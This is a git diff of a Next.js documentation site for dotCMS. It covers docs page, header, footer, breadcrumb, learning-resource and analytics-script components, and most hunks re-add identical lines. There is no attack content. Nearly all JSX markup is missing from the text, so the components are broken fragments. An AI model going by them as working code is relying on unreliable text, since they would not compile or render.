+
+function cleanMarkdown(markdownString, identifierString) {
+ return markdownString
+ .replaceAll("${docImage}", "/dA/" + identifierString + "/diagram")
+ .replaceAll("", " ");
+}
+
+const Documentation = ({ contentlet, sideNav, slug, deprecation }) => {
+ // Use server-provided deprecation match (no client fetch needed)
+ const matchedDeprecation = deprecation || null;
+
+ if (!contentlet || !sideNav) {
+ return Loading...
;
+ }
+
+ const documentation = cleanMarkdown(
+ contentlet.documentation,
+ contentlet.identifier
+ );
+
+ return (
+ <>
+
+ {/* Main Content Area */}
+
+
+
+
+
+
{contentlet.title}
+ {contentlet.tag.includes("beta") && (
+
+
+ Beta Feature
+
+ )}
+
+ {(matchedDeprecation || contentlet.tag.includes("deprecated")) && (
+
+ {matchedDeprecation ? (
+
+ ) : (
+
+ This function has been deprecated.
+
+ )}
+
+ )}
+
+
+
+
+ {/* Right Sidebar - Hide on smaller screens */}
+
+
+ >
+ );
+};
+
+export default Documentation;
diff --git a/components/documentation/GitHubDocumentation.js b/components/documentation/GitHubDocumentation.js
index 7c695d9..218ddac 100644
--- a/components/documentation/GitHubDocumentation.js
+++ b/components/documentation/GitHubDocumentation.js
@@ -1,199 +1,199 @@
-"use client";
-
-import React from "react";
-import { ExternalLink, Github, Zap } from "lucide-react";
-
-import Breadcrumbs from "@/components/navigation/Breadcrumbs";
-import MarkdownContent from "@/components/MarkdownContent";
-import OnThisPage from "../navigation/OnThisPage";
-import Warn from "../mdx/Warn";
-import { Alert, AlertDescription } from "@/components/ui/alert";
-
-const GitHubDocumentation = ({ contentlet, sideNav, slug }) => {
- if (!contentlet || !sideNav) {
- return Loading...
;
- }
-
- // githubConfig is stored in contentlet._map (since contentlet is urlContentMap)
- const githubConfig = contentlet._map?.githubConfig || contentlet.githubConfig;
-
- // Check if githubConfig exists and has required properties
- if (!githubConfig || !githubConfig.owner || !githubConfig.repo || !githubConfig.branch || !githubConfig.path) {
- return Error: Missing GitHub configuration
;
- }
-
- const githubUrl = `https://github.com/${githubConfig.owner}/${githubConfig.repo}`;
-
- // Construct library URL properly - remove README.md only if it's at the end of the path
- const pathWithoutReadme = githubConfig.path.endsWith('/README.md')
- ? githubConfig.path.slice(0, -10) // Remove '/README.md'
- : githubConfig.path.endsWith('README.md')
- ? githubConfig.path.slice(0, -9) // Remove 'README.md'
- : githubConfig.path;
-
- const githubLibraryUrl = `https://github.com/${githubConfig.owner}/${githubConfig.repo}/tree/${githubConfig.branch}/${pathWithoutReadme}`;
- // documentation is also in _map (since contentlet is urlContentMap)
- const documentation = contentlet._map?.documentation || contentlet.documentation;
-
- return (
- <>
-
- {/* Main Content Area */}
-
-
-
-
- {/* GitHub Source Alert */}
-
-
-
-
-
-
-
- This documentation is automatically synchronized from the{" "}
- {githubConfig.repo} repository.
-
-
- View on GitHub
-
-
-
-
- {githubConfig.starterGuide && (
-
- )}
-
-
-
-
-
-
{contentlet._map?.title || contentlet.title}
- {(contentlet._map?.tag || contentlet.tag)?.includes("beta") && (
-
-
- Beta Feature
-
- )}
-
-
- {(contentlet._map?.tag || contentlet.tag) && (contentlet._map?.tag || contentlet.tag).includes("deprecated") && (
-
-
- This function has been deprecated.
-
-
- )}
-
-
-
-
- {/* Additional GitHub Info */}
-
-
-
-
-
- Branch:{" "}
-
- {githubConfig.branch}
-
-
-
-
-
-
- Found an issue with this documentation?{" "}
-
- Report it on GitHub
-
-
-
-
-
- {/* Right Sidebar - Hide on smaller screens */}
-
-
- >
- );
-};
-
+"use client";
+
+import React from "react";
+import { ExternalLink, Github, Zap } from "lucide-react";
+
+import Breadcrumbs from "@/components/navigation/Breadcrumbs";
+import MarkdownContent from "@/components/MarkdownContent";
+import OnThisPage from "../navigation/OnThisPage";
+import Warn from "../mdx/Warn";
+import { Alert, AlertDescription } from "@/components/ui/alert";
+
+const GitHubDocumentation = ({ contentlet, sideNav, slug }) => {
+ if (!contentlet || !sideNav) {
+ return Loading...
;
+ }
+
+ // githubConfig is stored in contentlet._map (since contentlet is urlContentMap)
+ const githubConfig = contentlet._map?.githubConfig || contentlet.githubConfig;
+
+ // Check if githubConfig exists and has required properties
+ if (!githubConfig || !githubConfig.owner || !githubConfig.repo || !githubConfig.branch || !githubConfig.path) {
+ return Error: Missing GitHub configuration
;
+ }
+
+ const githubUrl = `https://github.com/${githubConfig.owner}/${githubConfig.repo}`;
+
+ // Construct library URL properly - remove README.md only if it's at the end of the path
+ const pathWithoutReadme = githubConfig.path.endsWith('/README.md')
+ ? githubConfig.path.slice(0, -10) // Remove '/README.md'
+ : githubConfig.path.endsWith('README.md')
+ ? githubConfig.path.slice(0, -9) // Remove 'README.md'
+ : githubConfig.path;
+
+ const githubLibraryUrl = `https://github.com/${githubConfig.owner}/${githubConfig.repo}/tree/${githubConfig.branch}/${pathWithoutReadme}`;
+ // documentation is also in _map (since contentlet is urlContentMap)
+ const documentation = contentlet._map?.documentation || contentlet.documentation;
+
+ return (
+ <>
+
+ {/* Main Content Area */}
+
+
+
+
+ {/* GitHub Source Alert */}
+
+
+
+
+
+
+
+ This documentation is automatically synchronized from the{" "}
+ {githubConfig.repo} repository.
+
+
+ View on GitHub
+
+
+
+
+ {githubConfig.starterGuide && (
+
+ )}
+
+
+
+
+
+
{contentlet._map?.title || contentlet.title}
+ {(contentlet._map?.tag || contentlet.tag)?.includes("beta") && (
+
+
+ Beta Feature
+
+ )}
+
+
+ {(contentlet._map?.tag || contentlet.tag) && (contentlet._map?.tag || contentlet.tag).includes("deprecated") && (
+
+
+ This function has been deprecated.
+
+
+ )}
+
+
+
+
+ {/* Additional GitHub Info */}
+
+
+
+
+
+ Branch:{" "}
+
+ {githubConfig.branch}
+
+
+
+
+
+
+ Found an issue with this documentation?{" "}
+
+ Report it on GitHub
+
+
+
+
+
+ {/* Right Sidebar - Hide on smaller screens */}
+
+
+ >
+ );
+};
+
export default GitHubDocumentation;
\ No newline at end of file
diff --git a/components/footer.tsx b/components/footer.tsx
index 377eb96..803021d 100644
--- a/components/footer.tsx
+++ b/components/footer.tsx
@@ -1,69 +1,69 @@
-import Link from 'next/link'
-import { Separator } from "@/components/ui/separator"
-import { Github, Twitter, Linkedin } from "lucide-react"
-import { Button } from "@/components/ui/button"
-import DiscourseLink from "@/components/header/DiscourseLink"
-export default function Footer() {
- return (
-
- )
+import Link from 'next/link'
+import { Separator } from "@/components/ui/separator"
+import { Github, Twitter, Linkedin } from "lucide-react"
+import { Button } from "@/components/ui/button"
+import DiscourseLink from "@/components/header/DiscourseLink"
+export default function Footer() {
+ return (
+
+ )
}
\ No newline at end of file
diff --git a/components/getting-started/Breadcrumbs.js b/components/getting-started/Breadcrumbs.js
index 7562d3d..6864174 100644
--- a/components/getting-started/Breadcrumbs.js
+++ b/components/getting-started/Breadcrumbs.js
@@ -1,77 +1,77 @@
-"use client"
-
-import React, { useState, useEffect } from 'react';
-import Link from 'next/link';
-import { ChevronRight, Home } from 'lucide-react';
-import { cn } from "@/util/utils";
-
-const Breadcrumbs = React.memo(({ items, slug, appendItems = [] }) => {
- const [breadcrumbs, setBreadcrumbs] = useState([]);
- const relevantPath = slug.replace(/^\/docs\/latest\//, '');
- //console.log("items----", items);
- useEffect(() => {
- const findPath = (items, target, slug = []) => {
-
- for (const item of items) {
- const newPath = [...slug, item];
-
- if (item.urlTitle === target) {
- setBreadcrumbs(newPath);
- return true;
- }
-
- if (item.dotcmsdocumentationchildren?.length) {
- if (findPath(item.dotcmsdocumentationchildren, target, newPath)) {
- return true;
- }
- }
- }
- return false;
- };
-
- findPath(items, relevantPath);
- }, [items, relevantPath]);
-
- if (breadcrumbs.length === 0) {
- return (<>>)
- }
-
- return (
-
-
-
-
- {breadcrumbs.map((item, index) => (
-
-
-
- {item.title}
-
-
- ))}
-
- {appendItems.map((item, index) => (
-
-
- {item.title}
-
-
-
- ))}
-
- );
-});
-
-Breadcrumbs.displayName = 'Breadcrumbs';
-
+"use client"
+
+import React, { useState, useEffect } from 'react';
+import Link from 'next/link';
+import { ChevronRight, Home } from 'lucide-react';
+import { cn } from "@/util/utils";
+
+const Breadcrumbs = React.memo(({ items, slug, appendItems = [] }) => {
+ const [breadcrumbs, setBreadcrumbs] = useState([]);
+ const relevantPath = slug.replace(/^\/docs\/latest\//, '');
+ //console.log("items----", items);
+ useEffect(() => {
+ const findPath = (items, target, slug = []) => {
+
+ for (const item of items) {
+ const newPath = [...slug, item];
+
+ if (item.urlTitle === target) {
+ setBreadcrumbs(newPath);
+ return true;
+ }
+
+ if (item.dotcmsdocumentationchildren?.length) {
+ if (findPath(item.dotcmsdocumentationchildren, target, newPath)) {
+ return true;
+ }
+ }
+ }
+ return false;
+ };
+
+ findPath(items, relevantPath);
+ }, [items, relevantPath]);
+
+ if (breadcrumbs.length === 0) {
+ return (<>>)
+ }
+
+ return (
+
+
+
+
+ {breadcrumbs.map((item, index) => (
+
+
+
+ {item.title}
+
+
+ ))}
+
+ {appendItems.map((item, index) => (
+
+
+ {item.title}
+
+
+
+ ))}
+
+ );
+});
+
+Breadcrumbs.displayName = 'Breadcrumbs';
+
export default Breadcrumbs;
\ No newline at end of file
diff --git a/components/header/header.tsx b/components/header/header.tsx
index eca9ab5..a2ed703 100644
--- a/components/header/header.tsx
+++ b/components/header/header.tsx
@@ -1,358 +1,358 @@
-"use client";
-
-import { Code2, Menu, Search, X, ArrowLeft, ExternalLink } from "lucide-react";
-import { ThemeToggle } from "./theme-toggle";
-import {
- NavigationMenu,
- NavigationMenuContent,
- NavigationMenuItem,
- NavigationMenuLink,
- NavigationMenuList,
- NavigationMenuTrigger,
- navigationMenuTriggerStyle,
-} from "@/components/ui/navigation-menu";
-import {
- Sheet,
- SheetContent,
- SheetTrigger,
- SheetClose,
- SheetHeader,
- SheetTitle,
-} from "@/components/ui/sheet";
-import Link from "next/link";
-import * as React from "react";
-import { cn } from "@/util/utils";
-import { useState, useEffect } from "react";
-import DiscourseLink from "./DiscourseLink";
-import GithubLink from "./GithubLink";
-import { SearchModal } from "../chat/SearchModal";
-import RedesignedNavTree from "@/components/navigation/RedesignedNavTree";
-import type { NavSection } from "@/util/navTransform";
-import LogoWithArrow from "./Logo/LogoWithArrow";
-
-type HeaderProps = {
- sideNavItems?: any[];
- currentPath?: string;
- navSections?: NavSection[];
-};
-
-export default function Header({ sideNavItems, currentPath, navSections }: HeaderProps) {
- const [isMobileMenuOpen, setIsMobileMenuOpen] = useState(false);
- const [isSearchOpen, setIsSearchOpen] = useState(false);
- const [showBackArrow, setShowBackArrow] = useState(false);
- const [hoverTimeout, setHoverTimeout] = useState(null);
-
- // State for controlled navigation menu
- const [currentOpenMenu, setCurrentOpenMenu] = useState(undefined);
- const GETTING_STARTED_NAV_ITEM_VALUE = "getting-started-nav";
-
- const handleLogoMouseEnter = () => {
- if (hoverTimeout) {
- clearTimeout(hoverTimeout);
- }
- setShowBackArrow(true);
- };
-
- const handleLogoMouseLeave = () => {
- const timeout = setTimeout(() => {
- setShowBackArrow(false);
- }, 2000);
- setHoverTimeout(timeout);
- };
-
- useEffect(() => {
- const handleKeyDown = (e: KeyboardEvent) => {
- // Check for Command/Control + K
- if ((e.metaKey || e.ctrlKey) && e.key === "k") {
- e.preventDefault(); // Prevent default browser behavior
- setIsSearchOpen((prev) => !prev);
- }
- // Close on escape
- if (e.key === "Escape") {
- setIsSearchOpen(false);
- }
- };
-
- document.addEventListener("keydown", handleKeyDown);
- return () => document.removeEventListener("keydown", handleKeyDown);
- }, []);
-
- // useEffect for cleaning up the logo hover timeout
- useEffect(() => {
- const currentTimeout = hoverTimeout;
- return () => {
- if (currentTimeout) {
- clearTimeout(currentTimeout);
- }
- };
- }, [hoverTimeout]);
-
- // Add effect to handle body scroll
- useEffect(() => {
- if (isMobileMenuOpen) {
- document.body.style.overflow = "hidden";
- } else {
- document.body.style.overflow = "unset";
- }
-
- // Cleanup
- return () => {
- document.body.style.overflow = "unset";
- };
- }, [isMobileMenuOpen]);
-
- const MobileNavItems = () => {
- return (
-
-
-
- Getting Started
-
-
-
- Docs
-
-
-
- Learning & Blogs
-
-
-
-
- );
- };
-
- const NavItems = () => {
- return (
- {
- // If Radix tries to set the "Getting Started" menu via onValueChange (e.g., due to hover/focus),
- // we ignore it here because its opening is controlled exclusively by its onClick handler.
- if (newValue === GETTING_STARTED_NAV_ITEM_VALUE) {
- return;
- }
- // For any other menu item opening, or for *any* menu closing (newValue is undefined),
- // update the state. This allows Radix to close "Getting Started" if it was opened by click.
- setCurrentOpenMenu(newValue);
- }}
- delayDuration={300*1000} // Keep high delay as a fallback, primary logic is now in onValueChange
- >
-
-
- {
- e.preventDefault(); // Prevent any default link behavior if it were a link
- if (currentOpenMenu === GETTING_STARTED_NAV_ITEM_VALUE) {
- setCurrentOpenMenu(undefined); // Toggle close
- } else {
- setCurrentOpenMenu(GETTING_STARTED_NAV_ITEM_VALUE); // Toggle open
- }
- }}
- >
- Getting Started
-
-
-
-
-
-
-
-
-
- Docs
-
-
-
-
-
-
-
-
- Learning & Blogs
-
-
-
-
-
-
-
- Community
-
-
-
-
-
- );
- };
-
- return (
-
-
-
-
-
-
-
-
-
- {/* Right side items */}
-
-
setIsSearchOpen(true)}
- className="flex items-center gap-2 rounded-md bg-secondary px-3 py-1.5 text-sm text-muted-foreground hover:bg-secondary/80"
- >
-
-
- AI Search...
- AI Search...
-
-
- ⌘
- K
-
-
-
-
-
-
-
-
-
- {/* Mobile menu button */}
-
setIsMobileMenuOpen(!isMobileMenuOpen)}
- >
- {isMobileMenuOpen ? (
-
- ) : (
-
- )}
-
-
-
-
-
- {/* Mobile Navigation Menu */}
- {isMobileMenuOpen && (
-
-
-
- {/* Main Navigation Links */}
-
-
-
-
- {/* Side Navigation Tree (if available) */}
- {sideNavItems && (
-
- )}
-
- {/* External Links and Theme Toggle */}
-
-
-
-
- )}
-
- setIsSearchOpen(false)}
- />
-
- );
-}
-
-const ListItem = React.forwardRef<
- React.ElementRef<"a">,
- React.ComponentPropsWithoutRef<"a">
->(({ className, title, children, ...props }, ref) => {
- return (
-
-
-
- {title}
-
- {children}
-
-
-
-
- );
-});
-ListItem.displayName = "ListItem";
+"use client";
+
+import { Code2, Menu, Search, X, ArrowLeft, ExternalLink } from "lucide-react";
+import { ThemeToggle } from "./theme-toggle";
+import {
+ NavigationMenu,
+ NavigationMenuContent,
+ NavigationMenuItem,
+ NavigationMenuLink,
+ NavigationMenuList,
+ NavigationMenuTrigger,
+ navigationMenuTriggerStyle,
+} from "@/components/ui/navigation-menu";
+import {
+ Sheet,
+ SheetContent,
+ SheetTrigger,
+ SheetClose,
+ SheetHeader,
+ SheetTitle,
+} from "@/components/ui/sheet";
+import Link from "next/link";
+import * as React from "react";
+import { cn } from "@/util/utils";
+import { useState, useEffect } from "react";
+import DiscourseLink from "./DiscourseLink";
+import GithubLink from "./GithubLink";
+import { SearchModal } from "../chat/SearchModal";
+import RedesignedNavTree from "@/components/navigation/RedesignedNavTree";
+import type { NavSection } from "@/util/navTransform";
+import LogoWithArrow from "./Logo/LogoWithArrow";
+
+type HeaderProps = {
+ sideNavItems?: any[];
+ currentPath?: string;
+ navSections?: NavSection[];
+};
+
+export default function Header({ sideNavItems, currentPath, navSections }: HeaderProps) {
+ const [isMobileMenuOpen, setIsMobileMenuOpen] = useState(false);
+ const [isSearchOpen, setIsSearchOpen] = useState(false);
+ const [showBackArrow, setShowBackArrow] = useState(false);
+ const [hoverTimeout, setHoverTimeout] = useState(null);
+
+ // State for controlled navigation menu
+ const [currentOpenMenu, setCurrentOpenMenu] = useState(undefined);
+ const GETTING_STARTED_NAV_ITEM_VALUE = "getting-started-nav";
+
+ const handleLogoMouseEnter = () => {
+ if (hoverTimeout) {
+ clearTimeout(hoverTimeout);
+ }
+ setShowBackArrow(true);
+ };
+
+ const handleLogoMouseLeave = () => {
+ const timeout = setTimeout(() => {
+ setShowBackArrow(false);
+ }, 2000);
+ setHoverTimeout(timeout);
+ };
+
+ useEffect(() => {
+ const handleKeyDown = (e: KeyboardEvent) => {
+ // Check for Command/Control + K
+ if ((e.metaKey || e.ctrlKey) && e.key === "k") {
+ e.preventDefault(); // Prevent default browser behavior
+ setIsSearchOpen((prev) => !prev);
+ }
+ // Close on escape
+ if (e.key === "Escape") {
+ setIsSearchOpen(false);
+ }
+ };
+
+ document.addEventListener("keydown", handleKeyDown);
+ return () => document.removeEventListener("keydown", handleKeyDown);
+ }, []);
+
+ // useEffect for cleaning up the logo hover timeout
+ useEffect(() => {
+ const currentTimeout = hoverTimeout;
+ return () => {
+ if (currentTimeout) {
+ clearTimeout(currentTimeout);
+ }
+ };
+ }, [hoverTimeout]);
+
+ // Add effect to handle body scroll
+ useEffect(() => {
+ if (isMobileMenuOpen) {
+ document.body.style.overflow = "hidden";
+ } else {
+ document.body.style.overflow = "unset";
+ }
+
+ // Cleanup
+ return () => {
+ document.body.style.overflow = "unset";
+ };
+ }, [isMobileMenuOpen]);
+
+ const MobileNavItems = () => {
+ return (
+
+
+
+ Getting Started
+
+
+
+ Docs
+
+
+
+ Learning & Blogs
+
+
+
+
+ );
+ };
+
+ const NavItems = () => {
+ return (
+ {
+ // If Radix tries to set the "Getting Started" menu via onValueChange (e.g., due to hover/focus),
+ // we ignore it here because its opening is controlled exclusively by its onClick handler.
+ if (newValue === GETTING_STARTED_NAV_ITEM_VALUE) {
+ return;
+ }
+ // For any other menu item opening, or for *any* menu closing (newValue is undefined),
+ // update the state. This allows Radix to close "Getting Started" if it was opened by click.
+ setCurrentOpenMenu(newValue);
+ }}
+ delayDuration={300*1000} // Keep high delay as a fallback, primary logic is now in onValueChange
+ >
+
+
+ {
+ e.preventDefault(); // Prevent any default link behavior if it were a link
+ if (currentOpenMenu === GETTING_STARTED_NAV_ITEM_VALUE) {
+ setCurrentOpenMenu(undefined); // Toggle close
+ } else {
+ setCurrentOpenMenu(GETTING_STARTED_NAV_ITEM_VALUE); // Toggle open
+ }
+ }}
+ >
+ Getting Started
+
+
+
+
+
+
+
+
+
+ Docs
+
+
+
+
+
+
+
+
+ Learning & Blogs
+
+
+
+
+
+
+
+ Community
+
+
+
+
+
+ );
+ };
+
+ return (
+
+
+
+
+
+
+
+
+
+ {/* Right side items */}
+
+
setIsSearchOpen(true)}
+ className="flex items-center gap-2 rounded-md bg-secondary px-3 py-1.5 text-sm text-muted-foreground hover:bg-secondary/80"
+ >
+
+
+ AI Search...
+ AI Search...
+
+
+ ⌘
+ K
+
+
+
+
+
+
+
+
+
+ {/* Mobile menu button */}
+
setIsMobileMenuOpen(!isMobileMenuOpen)}
+ >
+ {isMobileMenuOpen ? (
+
+ ) : (
+
+ )}
+
+
+
+
+
+ {/* Mobile Navigation Menu */}
+ {isMobileMenuOpen && (
+
+
+
+ {/* Main Navigation Links */}
+
+
+
+
+ {/* Side Navigation Tree (if available) */}
+ {sideNavItems && (
+
+ )}
+
+ {/* External Links and Theme Toggle */}
+
+
+
+
+ )}
+
+ setIsSearchOpen(false)}
+ />
+
+ );
+}
+
+const ListItem = React.forwardRef<
+ React.ElementRef<"a">,
+ React.ComponentPropsWithoutRef<"a">
+>(({ className, title, children, ...props }, ref) => {
+ return (
+
+
+
+ {title}
+
+ {children}
+
+
+
+
+ );
+});
+ListItem.displayName = "ListItem";
diff --git a/components/header/theme-provider.tsx b/components/header/theme-provider.tsx
index 7afe882..b603d3e 100644
--- a/components/header/theme-provider.tsx
+++ b/components/header/theme-provider.tsx
@@ -1,9 +1,9 @@
-"use client";
-
-import * as React from "react";
-import { ThemeProvider as NextThemesProvider } from "next-themes";
-import { type ThemeProviderProps } from "next-themes/dist/types";
-
-export function ThemeProvider({ children, ...props }: ThemeProviderProps) {
- return {children} ;
+"use client";
+
+import * as React from "react";
+import { ThemeProvider as NextThemesProvider } from "next-themes";
+import { type ThemeProviderProps } from "next-themes/dist/types";
+
+export function ThemeProvider({ children, ...props }: ThemeProviderProps) {
+ return {children} ;
}
\ No newline at end of file
diff --git a/components/learning/devresource-detail-page-component.js b/components/learning/devresource-detail-page-component.js
index aa81fd2..afa1a7b 100644
--- a/components/learning/devresource-detail-page-component.js
+++ b/components/learning/devresource-detail-page-component.js
@@ -1,64 +1,64 @@
-"use client";
-
-import { client } from "@/util/dotcmsClient";
-import Link from 'next/link';
-
-import OnThisPage from '@/components/navigation/OnThisPage';
-import React from 'react';
-
-import { DevResourceHeader } from './devresource-header';
-import { DevResourceTypes } from "./resources";
-import { ErrorPage } from "@/components/error";
-import DevResourceComponent from "./devresource-component";
-const checkForType = (json, type) => {
- function traverse(node) {
- // Return true if current node is a heading
- if (node.type.toLowerCase() === type.toLowerCase()) {
- return true;
- }
-
- // Check child nodes if they exist
- if (node.content && Array.isArray(node.content)) {
- return node.content.some(child => traverse(child));
- }
-
- return false;
- }
-
- return traverse(json);
-}
-
-export default function DevResourceDetailPageComponent({ devResource,page=1,linkback="/learning/listing" }) {
- const myResources = DevResourceTypes.filter((resource) => resource.type === devResource.type1[0]);
- const myResource=(myResources.length>0)?myResources[0]:DevResourceTypes[0];
-
-
-
- const hasHeadings = checkForType(devResource.body.json, "heading");
- const isVideo = myResource.type==="video";
-
- return (
-
- {/* Main Content Grid */}
-
- {/* Main Content */}
-
-
- {/** Dont show image if it is a video */}
-
-
-
-
-
- {/* Right Sidebar - Only show if there are headings */}
- {hasHeadings && (
-
- )}
-
-
- );
-}
+"use client";
+
+import { client } from "@/util/dotcmsClient";
+import Link from 'next/link';
+
+import OnThisPage from '@/components/navigation/OnThisPage';
+import React from 'react';
+
+import { DevResourceHeader } from './devresource-header';
+import { DevResourceTypes } from "./resources";
+import { ErrorPage } from "@/components/error";
+import DevResourceComponent from "./devresource-component";
+const checkForType = (json, type) => {
+ function traverse(node) {
+ // Return true if current node is a heading
+ if (node.type.toLowerCase() === type.toLowerCase()) {
+ return true;
+ }
+
+ // Check child nodes if they exist
+ if (node.content && Array.isArray(node.content)) {
+ return node.content.some(child => traverse(child));
+ }
+
+ return false;
+ }
+
+ return traverse(json);
+}
+
+export default function DevResourceDetailPageComponent({ devResource,page=1,linkback="/learning/listing" }) {
+ const myResources = DevResourceTypes.filter((resource) => resource.type === devResource.type1[0]);
+ const myResource=(myResources.length>0)?myResources[0]:DevResourceTypes[0];
+
+
+
+ const hasHeadings = checkForType(devResource.body.json, "heading");
+ const isVideo = myResource.type==="video";
+
+ return (
+
+ {/* Main Content Grid */}
+
+ {/* Main Content */}
+
+
+ {/** Dont show image if it is a video */}
+
+
+
+
+
+ {/* Right Sidebar - Only show if there are headings */}
+ {hasHeadings && (
+
+ )}
+
+
+ );
+}
diff --git a/components/learning/devresource-grid.tsx b/components/learning/devresource-grid.tsx
index 9358af1..28c5d81 100644
--- a/components/learning/devresource-grid.tsx
+++ b/components/learning/devresource-grid.tsx
@@ -1,73 +1,73 @@
-import Link from "next/link";
-import FeatureCard from "../content-types/feature-card";
-import {
- BookOpenIcon,
- GraduationCap,
- NewspaperIcon,
- PlayCircleIcon,
-} from "lucide-react";
-// Note: isometric icons were removed from this route; FeatureCard uses its own imagery.
-export function DevResourceGrid(count: any) {
- return (
- <>
-
-
- Learn dotCMS
-
-
- Your hub for mastering dotCMS. Explore resources designed to help you
- succeed.
-
-
-
-
-
-
-
-
-
-
-
- >
- );
-}
+import Link from "next/link";
+import FeatureCard from "../content-types/feature-card";
+import {
+ BookOpenIcon,
+ GraduationCap,
+ NewspaperIcon,
+ PlayCircleIcon,
+} from "lucide-react";
+// Note: isometric icons were removed from this route; FeatureCard uses its own imagery.
+export function DevResourceGrid(count: any) {
+ return (
+ <>
+
+
+ Learn dotCMS
+
+
+ Your hub for mastering dotCMS. Explore resources designed to help you
+ succeed.
+
+
+
+
+
+
+
+
+
+
+
+ >
+ );
+}
diff --git a/components/learning/devresource-header.js b/components/learning/devresource-header.js
index 2b8655c..4fc0305 100644
--- a/components/learning/devresource-header.js
+++ b/components/learning/devresource-header.js
@@ -1,97 +1,97 @@
-'use client';
-
-import { usePathname } from 'next/navigation';
-import React, { useEffect, useState } from 'react';
-import Image from 'next/image';
-
-import SocialMediaShare from '@/components/shared/socialMediaShare';
-import { ImagePlacerholder } from '@/components/shared/dotCardImage';
-import { cn } from '@/util/utils';
-import { Calendar, Tag as TagIcon } from 'lucide-react';
-import {Config} from '@/util/config';
-
-import { format } from "date-fns";
-import Link from 'next/link';
-
-export const DevResourceHeader = ({
- devResource,
- showImage = true,
- linkback="/learning/listing"
-}) => {
- const formattedDate = format(new Date(devResource.publishDate), 'MMMM dd, yyyy');
- const pathname = usePathname();
- const [url, setUrl] = useState('');
- const imageUrl = "/dA/" + devResource.identifier + "/70q/1000maxw/" + devResource.inode;
-
- useEffect(() => {
- const urlString = new URL(pathname, `https://${Config.CDNHost}`);
- setUrl(urlString);
- }, [pathname, devResource.hostname]);
-
- return (
-
- );
-};
+'use client';
+
+import { usePathname } from 'next/navigation';
+import React, { useEffect, useState } from 'react';
+import Image from 'next/image';
+
+import SocialMediaShare from '@/components/shared/socialMediaShare';
+import { ImagePlacerholder } from '@/components/shared/dotCardImage';
+import { cn } from '@/util/utils';
+import { Calendar, Tag as TagIcon } from 'lucide-react';
+import {Config} from '@/util/config';
+
+import { format } from "date-fns";
+import Link from 'next/link';
+
+export const DevResourceHeader = ({
+ devResource,
+ showImage = true,
+ linkback="/learning/listing"
+}) => {
+ const formattedDate = format(new Date(devResource.publishDate), 'MMMM dd, yyyy');
+ const pathname = usePathname();
+ const [url, setUrl] = useState('');
+ const imageUrl = "/dA/" + devResource.identifier + "/70q/1000maxw/" + devResource.inode;
+
+ useEffect(() => {
+ const urlString = new URL(pathname, `https://${Config.CDNHost}`);
+ setUrl(urlString);
+ }, [pathname, devResource.hostname]);
+
+ return (
+
+ );
+};
diff --git a/components/metrics/Leadboxer.js b/components/metrics/Leadboxer.js
index c08d283..0a3c94f 100644
--- a/components/metrics/Leadboxer.js
+++ b/components/metrics/Leadboxer.js
@@ -1,10 +1,10 @@
-import Script from 'next/script';
-
-export function LeadboxerScript() {
- return (
-
- );
-}
+import Script from 'next/script';
+
+export function LeadboxerScript() {
+ return (
+
+ );
+}
diff --git a/components/metrics/MicrosoftClarity.js b/components/metrics/MicrosoftClarity.js
index 1b1a868..34ba63f 100644
--- a/components/metrics/MicrosoftClarity.js
+++ b/components/metrics/MicrosoftClarity.js
@@ -1,22 +1,22 @@
-import Script from "next/script"
-
-const MicrosoftClarity = () => {
- return (
-
- )
-}
-
-export default MicrosoftClarity
-
+import Script from "next/script"
+
+const MicrosoftClarity = () => {
+ return (
+
+ )
+}
+
+export default MicrosoftClarity
+
diff --git a/components/navigation/Breadcrumbs.js b/components/navigation/Breadcrumbs.js
index 71d5b26..4b0c352 100644
--- a/components/navigation/Breadcrumbs.js
+++ b/components/navigation/Breadcrumbs.js
@@ -1,76 +1,76 @@
-"use client"
-
-import React, { useState, useEffect } from 'react';
-import Link from 'next/link';
-import { ChevronRight, Home } from 'lucide-react';
-import { cn } from "@/util/utils";
-
-const Breadcrumbs = React.memo(({ items, slug, appendItems = [] }) => {
- const [breadcrumbs, setBreadcrumbs] = useState([]);
- const relevantPath = slug.replace(/^\/docs\/latest\//, '');
-
- useEffect(() => {
- const findPath = (items, target, slug = []) => {
- for (const item of items) {
- const newPath = [...slug, item];
-
- if (item.urlTitle === target) {
- setBreadcrumbs(newPath);
- return true;
- }
-
- if (item.dotcmsdocumentationchildren?.length) {
- if (findPath(item.dotcmsdocumentationchildren, target, newPath)) {
- return true;
- }
- }
- }
- return false;
- };
-
- findPath(items, relevantPath);
- }, [items, relevantPath]);
-
- if (breadcrumbs.length === 0) {
- return (<>>)
- }
-
- return (
-
-
-
-
- {breadcrumbs.map((item, index) => (
-
-
-
- {item.title}
-
-
- ))}
-
- {appendItems.map((item, index) => (
-
-
- {item.title}
-
-
-
- ))}
-
- );
-});
-
-Breadcrumbs.displayName = 'Breadcrumbs';
-
+"use client"
+
+import React, { useState, useEffect } from 'react';
+import Link from 'next/link';
+import { ChevronRight, Home } from 'lucide-react';
+import { cn } from "@/util/utils";
+
+const Breadcrumbs = React.memo(({ items, slug, appendItems = [] }) => {
+ const [breadcrumbs, setBreadcrumbs] = useState([]);
+ const relevantPath = slug.replace(/^\/docs\/latest\//, '');
+
+ useEffect(() => {
+ const findPath = (items, target, slug = []) => {
+ for (const item of items) {
+ const newPath = [...slug, item];
+
+ if (item.urlTitle === target) {
+ setBreadcrumbs(newPath);
+ return true;
+ }
+
+ if (item.dotcmsdocumentationchildren?.length) {
+ if (findPath(item.dotcmsdocumentationchildren, target, newPath)) {
+ return true;
+ }
+ }
+ }
+ return false;
+ };
+
+ findPath(items, relevantPath);
+ }, [items, relevantPath]);
+
+ if (breadcrumbs.length === 0) {
+ return (<>>)
+ }
+
+ return (
+
+
+
+
+ {breadcrumbs.map((item, index) => (
+
+
+
+ {item.title}
+
+
+ ))}
+
+ {appendItems.map((item, index) => (
+
+
+ {item.title}
+
+
+
+ ))}
+
+ );
+});
+
+Breadcrumbs.displayName = 'Breadcrumbs';
+
export default Breadcrumbs;
\ No newline at end of file
diff --git a/components/navigation/Breadcrumbs.tsx b/components/navigation/Breadcrumbs.tsx
index cf8a69c..a555045 100644
--- a/components/navigation/Breadcrumbs.tsx
+++ b/components/navigation/Breadcrumbs.tsx
@@ -1,170 +1,170 @@
-"use client"
-
-import React, { useState, useEffect } from 'react';
-import Link from 'next/link';
-import { ChevronRight, Home } from 'lucide-react';
-import { cn } from "@/util/utils";
-
-export interface BreadcrumbItem {
- title: string;
- urlTitle?: string;
- url?: string;
- id?: string | number;
- [key: string]: any; // For additional properties
-}
-
-export interface BreadcrumbsProps {
- /**
- * The hierarchical items to build breadcrumbs from
- */
- items: BreadcrumbItem[];
-
